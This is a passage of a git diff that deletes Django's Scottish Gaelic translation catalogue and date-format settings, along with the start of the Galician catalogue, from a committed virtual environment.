%(limit_value)s." -msgstr "" -"Dèan cinnteach gu bheil an luach seo nas lugha na no co-ionnan ri " -"%(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Dèan cinnteach gu bheil an luach seo nas motha na no co-ionnan ri " -"%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Dèan cinnteach gu bheil %(limit_value)d charactar aig an luach seo air a’ " -"char as lugha (tha %(show_value)d aige an-dràsta)." -msgstr[1] "" -"Dèan cinnteach gu bheil %(limit_value)d charactar aig an luach seo air a’ " -"char as lugha (tha %(show_value)d aige an-dràsta)." -msgstr[2] "" -"Dèan cinnteach gu bheil %(limit_value)d caractaran aig an luach seo air a’ " -"char as lugha (tha %(show_value)d aige an-dràsta)." -msgstr[3] "" -"Dèan cinnteach gu bheil %(limit_value)d caractar aig an luach seo air a’ " -"char as lugha (tha %(show_value)d aige an-dràsta)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Dèan cinnteach gu bheil %(limit_value)d charactar aig an luach seo air a’ " -"char as motha (tha %(show_value)d aige an-dràsta)." -msgstr[1] "" -"Dèan cinnteach gu bheil %(limit_value)d charactar aig an luach seo air a’ " -"char as motha (tha %(show_value)d aige an-dràsta)." -msgstr[2] "" -"Dèan cinnteach gu bheil %(limit_value)d caractaran aig an luach seo air a’ " -"char as motha (tha %(show_value)d aige an-dràsta)." -msgstr[3] "" -"Dèan cinnteach gu bheil %(limit_value)d caractar aig an luach seo air a’ " -"char as motha (tha %(show_value)d aige an-dràsta)." - -msgid "Enter a number." -msgstr "Cuir a-steach àireamh." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamh ann gu h-iomlan." -msgstr[1] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamh ann gu h-iomlan." -msgstr[2] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamhan ann gu h-iomlan." -msgstr[3] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamh ann gu h-iomlan." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Dèan cinnteach nach eil barrachd air %(max)s ionad deicheach ann." -msgstr[1] "Dèan cinnteach nach eil barrachd air %(max)s ionad deicheach ann." -msgstr[2] "Dèan cinnteach nach eil barrachd air %(max)s ionadan deicheach ann." -msgstr[3] "Dèan cinnteach nach eil barrachd air %(max)s ionad deicheach ann." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamh ann ron phuing " -"dheicheach." -msgstr[1] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamh ann ron phuing " -"dheicheach." -msgstr[2] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamhan ann ron phuing " -"dheicheach." -msgstr[3] "" -"Dèan cinnteach nach eil barrachd air %(max)s àireamh ann ron phuing " -"dheicheach." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Chan eil an leudachan faidhle “%(extension)s” ceadaichte. Seo na leudachain " -"a tha ceadaichte: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Chan eil caractaran null ceadaichte." - -msgid "and" -msgstr "agus" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Tha %(model_name)s lis a’ %(field_labels)s seo ann mar-thà." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Chan eil an luach %(value)r ’na roghainn dhligheach." - -msgid "This field cannot be null." -msgstr "Chan fhaod an raon seo a bhith ’na neoni." - -msgid "This field cannot be blank." -msgstr "Chan fhaod an raon seo a bhith bàn." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Tha %(model_name)s leis a’ %(field_label)s seo ann mar-thà." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"Chan fhaod %(field_label)s a bhith ann ach aon turas airson " -"%(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Raon dhen t-seòrsa: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Feumaidh “%(value)s” a bhith True no False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Feumaidh “%(value)s” a bhith True, False no None." - -msgid "Boolean (Either True or False)" -msgstr "Booleach (True no False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Sreang (suas ri %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Àireamhan slàna sgaraichte le cromagan" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Tha fòrmat cinn-là mì-dhligheach aig an luach “%(value)s”. Feumaidh e bhith " -"san fhòrmat BBBB-MM-LL." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Tha fòrmat mar bu chòir (BBBB-MM-LL) aig an luach “%(value)s” ach tha an " -"ceann-là mì-dligheach." - -msgid "Date (without time)" -msgstr "Ceann-là (gun àm)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Tha fòrmat mì-dhligheach aig an luach “%(value)s”. Feumaidh e bhith san " -"fhòrmat BBBB-MM-LL HH:MM[:dd[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Tha fòrmat mar bu chòir (BBBB-MM-LL HH:MM[:dd[.uuuuuu]][TZ]) aig an luach " -"“%(value)s” ach tha an ceann-là/an t-àm mì-dligheach." - -msgid "Date (with time)" -msgstr "Ceann-là (le àm)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Feumaidh “%(value)s” a bhith ’na àireamh dheicheach." - -msgid "Decimal number" -msgstr "Àireamh dheicheach" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Tha fòrmat mì-dhligheach aig an luach “%(value)s”. Feumaidh e bhith san " -"fhòrmat [DD] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Faid" - -msgid "Email address" -msgstr "Seòladh puist-d" - -msgid "File path" -msgstr "Slighe an fhaidhle" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Feumaidh “%(value)s” a bhith ’na àireamh floda." - -msgid "Floating point number" -msgstr "Àireamh le puing floda" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Feumaidh “%(value)s” a bhith ’na àireamh shlàn." - -msgid "Integer" -msgstr "Àireamh shlàn" - -msgid "Big (8 byte) integer" -msgstr "Mòr-àireamh shlàn (8 baidht)" - -msgid "Small integer" -msgstr "Beag-àireamh slàn" - -msgid "IPv4 address" -msgstr "Seòladh IPv4" - -msgid "IP address" -msgstr "Seòladh IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Feumaidh “%(value)s” a bhith None, True no False." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleach (True, False no None)" - -msgid "Positive big integer" -msgstr "Àireamh shlàn dhearbh" - -msgid "Positive integer" -msgstr "Àireamh shlàn dhearbh" - -msgid "Positive small integer" -msgstr "Beag-àireamh shlàn dhearbh" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Sluga (suas ri %(max_length)s)" - -msgid "Text" -msgstr "Teacsa" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Tha fòrmat mì-dhligheach aig an luach “%(value)s”. Feumaidh e bhith san " -"fhòrmat HH:MM[:dd[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Tha fòrmat mar bu chòir (HH:MM[:dd[.uuuuuu]]) aig an luach “%(value)s” ach " -"tha an t-àm mì-dligheach." - -msgid "Time" -msgstr "Àm" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Dàta bìnearaidh amh" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Chan eil “%(value)s” ’na UUID dligheach." - -msgid "Universally unique identifier" -msgstr "Aithnichear àraidh gu h-uile-choitcheann" - -msgid "File" -msgstr "Faidhle" - -msgid "Image" -msgstr "Dealbh" - -msgid "A JSON object" -msgstr "Oibseact JSON" - -msgid "Value must be valid JSON." -msgstr "Feumaidh an luach a bhith ’na JSON dligheach." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Chan eil ionstans dhe %(model)s le %(field)s %(value)r ann." - -msgid "Foreign Key (type determined by related field)" -msgstr "Iuchair chèin (thèid a sheòrsa a mhìneachadh leis an raon dàimheach)" - -msgid "One-to-one relationship" -msgstr "Dàimh aonan gu aonan" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Dàimh %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Dàimhean %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Dàimh iomadh rud gu iomadh rud" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Tha an raon seo riatanach." - -msgid "Enter a whole number." -msgstr "Cuir a-steach àireamh shlàn." - -msgid "Enter a valid date." -msgstr "Cuir a-steach ceann-là dligheach." - -msgid "Enter a valid time." -msgstr "Cuir a-steach àm dligheach." - -msgid "Enter a valid date/time." -msgstr "Cuir a-steach ceann-là ’s àm dligheach." - -msgid "Enter a valid duration." -msgstr "Cuir a-steach faid dhligheach." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" -"Feumaidh an àireamh de làithean a bhith eadar {min_days} is {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Cha deach faidhle a chur a-null. Dearbhaich seòrsa a’ chòdachaidh air an " -"fhoirm." - -msgid "No file was submitted." -msgstr "Cha deach faidhle a chur a-null." - -msgid "The submitted file is empty." -msgstr "Tha am faidhle a chaidh a chur a-null falamh." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Dèan cinnteach nach eil barrachd air %(max)d charactar ann an ainm an " -"fhaidhle (tha %(length)d aige)." -msgstr[1] "" -"Dèan cinnteach nach eil barrachd air %(max)d charactar ann an ainm an " -"fhaidhle (tha %(length)d aige)." -msgstr[2] "" -"Dèan cinnteach nach eil barrachd air %(max)d caractaran ann an ainm an " -"fhaidhle (tha %(length)d aige)." -msgstr[3] "" -"Dèan cinnteach nach eil barrachd air %(max)d caractar ann an ainm an " -"fhaidhle (tha %(length)d aige)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Cuir a-null faidhle no cuir cromag sa bhogsa fhalamh, na dèan an dà chuidh " -"dhiubh." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Luchdaich suas dealbh dligheach. Cha robh am faidhle a luchdaich thu suas " -"’na dhealbh no bha an dealbh coirbte." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Tagh rud dligheach. Chan eil %(value)s ’na roghainn dhut." - -msgid "Enter a list of values." -msgstr "Cuir a-steach liosta de luachan." - -msgid "Enter a complete value." -msgstr "Cuir a-steach luach slàn." - -msgid "Enter a valid UUID." -msgstr "Cuir a-steach UUID dligheach." - -msgid "Enter a valid JSON." -msgstr "Cuir a-steach JSON dligheach." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Raon falaichte %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Tha dàta an fhoirm stiùiridh a dhìth no chaidh beantainn ris. Seo na " -"raointean a tha a dhìth: %(field_names)s. Ma mhaireas an duilgheadas, saoil " -"an cuir thu aithris air buga thugainn?" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Na cuir a-null barrachd air %d fhoirm." -msgstr[1] "Na cuir a-null barrachd air %d fhoirm." -msgstr[2] "Na cuir a-null barrachd air %d foirmean." -msgstr[3] "Na cuir a-null barrachd air %d foirm." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Cuir a-null %d fhoirm air a char as lugha." -msgstr[1] "Cuir a-null %d fhoirm air a char as lugha." -msgstr[2] "Cuir a-null %d foirmichean air a char as lugha." -msgstr[3] "Cuir a-null %d foirm air a char as lugha." - -msgid "Order" -msgstr "Òrdugh" - -msgid "Delete" -msgstr "Sguab às" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ceartaich an dàta dùblaichte airson %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Ceartaich an dàta dùblaichte airson %(field)s, chan fhaod gach nì a bhith " -"ann ach aon turas." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ceartaich an dàta dùblaichte airson %(field_name)s nach fhaod a bhith ann " -"ach aon turas airson %(lookup)s ann an %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Ceartaich na luachan dùblaichte gu h-ìosal." - -msgid "The inline value did not match the parent instance." -msgstr "" -"Chan eil an luach am broinn na loidhne a’ freagairt ris an ionstans-pàraint." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Tagh rud dligheach. Chan eil an rud seo ’na roghainn dhut." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "Chan e luach dligheach a tha ann an “%(pk)s”." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Cha chiall dha %(datetime)s san roinn-tìde %(current_timezone)s; dh’fhaoidte " -"gu bheil e dà-sheaghach no nach eil e ann." - -msgid "Clear" -msgstr "Falamhaich" - -msgid "Currently" -msgstr "An-dràsta" - -msgid "Change" -msgstr "Atharraich" - -msgid "Unknown" -msgstr "Chan eil fhios" - -msgid "Yes" -msgstr "Tha" - -msgid "No" -msgstr "Chan eil" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "yes,no,maybe" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d baidht" -msgstr[1] "%(size)d baidht" -msgstr[2] "%(size)d baidht" -msgstr[3] "%(size)d baidht" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "f" - -msgid "a.m." -msgstr "m" - -msgid "PM" -msgstr "f" - -msgid "AM" -msgstr "m" - -msgid "midnight" -msgstr "meadhan-oidhche" - -msgid "noon" -msgstr "meadhan-latha" - -msgid "Monday" -msgstr "DiLuain" - -msgid "Tuesday" -msgstr "DiMàirt" - -msgid "Wednesday" -msgstr "DiCiadain" - -msgid "Thursday" -msgstr "DiarDaoin" - -msgid "Friday" -msgstr "DihAoine" - -msgid "Saturday" -msgstr "DiSathairne" - -msgid "Sunday" -msgstr "DiDòmhnaich" - -msgid "Mon" -msgstr "DiL" - -msgid "Tue" -msgstr "DiM" - -msgid "Wed" -msgstr "DiC" - -msgid "Thu" -msgstr "Dia" - -msgid "Fri" -msgstr "Dih" - -msgid "Sat" -msgstr "DiS" - -msgid "Sun" -msgstr "DiD" - -msgid "January" -msgstr "Am Faoilleach" - -msgid "February" -msgstr "An Gearran" - -msgid "March" -msgstr "Am Màrt" - -msgid "April" -msgstr "An Giblean" - -msgid "May" -msgstr "An Cèitean" - -msgid "June" -msgstr "An t-Ògmhios" - -msgid "July" -msgstr "An t-Iuchar" - -msgid "August" -msgstr "An Lùnastal" - -msgid "September" -msgstr "An t-Sultain" - -msgid "October" -msgstr "An Dàmhair" - -msgid "November" -msgstr "An t-Samhain" - -msgid "December" -msgstr "An Dùbhlachd" - -msgid "jan" -msgstr "faoi" - -msgid "feb" -msgstr "gearr" - -msgid "mar" -msgstr "màrt" - -msgid "apr" -msgstr "gibl" - -msgid "may" -msgstr "cèit" - -msgid "jun" -msgstr "ògmh" - -msgid "jul" -msgstr "iuch" - -msgid "aug" -msgstr "lùna" - -msgid "sep" -msgstr "sult" - -msgid "oct" -msgstr "dàmh" - -msgid "nov" -msgstr "samh" - -msgid "dec" -msgstr "dùbh" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Faoi" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Gearr" - -msgctxt "abbrev. month" -msgid "March" -msgstr "Màrt" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Gibl" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Cèit" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Ògmh" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Iuch" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Lùna" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sult" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Dàmh" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Samh" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dùbh" - -msgctxt "alt. month" -msgid "January" -msgstr "Am Faoilleach" - -msgctxt "alt. month" -msgid "February" -msgstr "An Gearran" - -msgctxt "alt. month" -msgid "March" -msgstr "Am Màrt" - -msgctxt "alt. month" -msgid "April" -msgstr "An Giblean" - -msgctxt "alt. month" -msgid "May" -msgstr "An Cèitean" - -msgctxt "alt. month" -msgid "June" -msgstr "An t-Ògmhios" - -msgctxt "alt. month" -msgid "July" -msgstr "An t-Iuchar" - -msgctxt "alt. month" -msgid "August" -msgstr "An Lùnastal" - -msgctxt "alt. month" -msgid "September" -msgstr "An t-Sultain" - -msgctxt "alt. month" -msgid "October" -msgstr "An Dàmhair" - -msgctxt "alt. month" -msgid "November" -msgstr "An t-Samhain" - -msgctxt "alt. month" -msgid "December" -msgstr "An Dùbhlachd" - -msgid "This is not a valid IPv6 address." -msgstr "Chan eil seo ’na sheòladh IPv6 dligheach." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "no" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d bliadhna" -msgstr[1] "%(num)d bhliadhna" -msgstr[2] "%(num)d bliadhnaichean" -msgstr[3] "%(num)d bliadhna" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mhìos" -msgstr[1] "%(num)d mhìos" -msgstr[2] "%(num)d mìosan" -msgstr[3] "%(num)d mìos" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d seachdain" -msgstr[1] "%(num)d sheachdain" -msgstr[2] "%(num)d seachdainean" -msgstr[3] "%(num)d seachdain" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d latha" -msgstr[1] "%(num)d latha" -msgstr[2] "%(num)d làithean" -msgstr[3] "%(num)d latha" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d uair a thìde" -msgstr[1] "%(num)d uair a thìde" -msgstr[2] "%(num)d uairean a thìde" -msgstr[3] "%(num)d uair a thìde" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d mhionaid" -msgstr[1] "%(num)d mhionaid" -msgstr[2] "%(num)d mionaidean" -msgstr[3] "%(num)d mionaid" - -msgid "Forbidden" -msgstr "Toirmisgte" - -msgid "CSRF verification failed. Request aborted." -msgstr "Dh’fhàillig le dearbhadh CSRF. chaidh sgur dhen iarrtas." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Chì thu an teachdaireachd seo air sgàth ’s gu bheil an làrach-lìn HTTPS seo " -"ag iarraidh air a’ bhrabhsair-lìn agad gun cuir e bann-cinn “Referer” thuice " -"ach cha deach gin a chur a-null. Tha feum air a’ bhann-chinn seo a chum " -"tèarainteachd ach nach cleachd treas-phàrtaidh am brabhsair agad gu droch-" -"rùnach." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ma rèitich thu am brabhsair agad ach an cuir e bannan-cinn “Referer” à " -"comas, cuir an comas iad a-rithist, co-dhiù airson na làraich seo no airson " -"ceanglaichean HTTPS no airson iarrtasan “same-origin”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ma tha thu a’ cleachdadh taga no a’ gabhail a-staigh bann-cinn “'Referrer-Policy: no-referrer” feuch " -"an doir thu air falbh iad. Iarraidh an dìon CSRF bann-cinn “Referer” gus na " -"referers a dhearbhadh gu teann. Ma tha thu iomagaineach a thaobh do " -"prìobhaideachd, cleachd roghainnean eile mar airson " -"ceangal gu làraichean-lìn threas-phàrtaidhean." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Chì thu an teachdaireachd seo air sgàth ’s gu bheil an làrach-lìn seo ag " -"iarraidh briosgaid CSRF nuair a chuireas tu foirm a-null. Tha feum air a’ " -"bhriosgaid seo a chum tèarainteachd ach nach cleachd treas-phàrtaidh am " -"brabhsair agad gu droch-rùnach." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ma rèitich thu am brabhsair agad ach an cuir e briosgaidean à comas, cuir an " -"comas iad a-rithist, co-dhiù airson na làraich seo no airson iarrtasan “same-" -"origin”." - -msgid "More information is available with DEBUG=True." -msgstr "Gheibh thu barrachd fiosrachaidh le DEBUG=True." - -msgid "No year specified" -msgstr "Cha deach bliadhna a shònrachadh" - -msgid "Date out of range" -msgstr "Tha ceann-là taobh thar na rainse" - -msgid "No month specified" -msgstr "Cha deach mìos a shònrachadh" - -msgid "No day specified" -msgstr "Cha deach latha a shònrachadh" - -msgid "No week specified" -msgstr "Cha deach seachdain a shònrachadh" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Chan eil %(verbose_name_plural)s ri fhaighinn" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Chan eil %(verbose_name_plural)s san àm ri teachd ri fhaighinn air sgàth ’s " -"gun deach %(class_name)s.allow_future a shuidheachadh air False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Sreang cinn-là “%(datestr)s” mì-dhligheach airson an fhòrmait “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Cha deach %(verbose_name)s a lorg a fhreagras dhan cheist" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Chan eil an duilleag ’na “last” is cha ghabh a h-iompachadh gu àireamh shlàn." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Duilleag mhì-dhligheach (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" -"Tha liosta fhalamh ann agus chaidh “%(class_name)s.allow_empty” a " -"shuidheachadh air False." - -msgid "Directory indexes are not allowed here." -msgstr "Chan eil clàran-amais pasgain falamh ceadaichte an-seo." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "Chan eil “%(path)s” ann" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Clàr-amais dhe %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Chaidh a stàladh! Meal do naidheachd!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Seall na nòtaichean sgaoilidh airson Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Chì thu an duilleag seo on a tha DEBUG=True ann am faidhle nan roghainnean agad agus cha do rèitich " -"thu URL sam bith fhathast." - -msgid "Django Documentation" -msgstr "Docamaideadh Django" - -msgid "Topics, references, & how-to’s" -msgstr "Cuspairean, iomraidhean ⁊ treòraichean" - -msgid "Tutorial: A Polling App" -msgstr "Oideachadh: Aplacaid cunntais-bheachd" - -msgid "Get started with Django" -msgstr "Dèan toiseach-tòiseachaidh le Django" - -msgid "Django Community" -msgstr "Coimhearsnachd Django" - -msgid "Connect, get help, or contribute" -msgstr "Dèan ceangal, faigh taic no cuidich" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gd/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/gd/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gd/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/gd/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 1699fb7f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/gd/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gd/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/gd/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 9311906c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/gd/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gd/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/gd/formats.py deleted file mode 100644 index 5ef67744..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/gd/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "h:ia" -DATETIME_FORMAT = "j F Y h:ia" -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M Y" -SHORT_DATETIME_FORMAT = "j M Y h:ia" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/gl/LC_MESSAGES/django.mo deleted file mode 100644 index 4a9d1644..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/gl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/gl/LC_MESSAGES/django.po deleted file mode 100644 index 7ebeab20..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/gl/LC_MESSAGES/django.po +++ /dev/null @@ -1,1356 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# fasouto , 2011-2012 -# fonso , 2011,2013 -# fonso , 2013 -# fasouto , 2017 -# Jannis Leidel , 2011 -# Leandro Regueiro , 2013 -# 948a55bc37dd6d642f1875bb84258fff_07a28cc , 2012 -# X Bello , 2023-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: X Bello , 2023-2024\n" -"Language-Team: Galician (http://app.transifex.com/django/django/language/" -"gl/)\n" -"MIME-Version: 1.0\n" 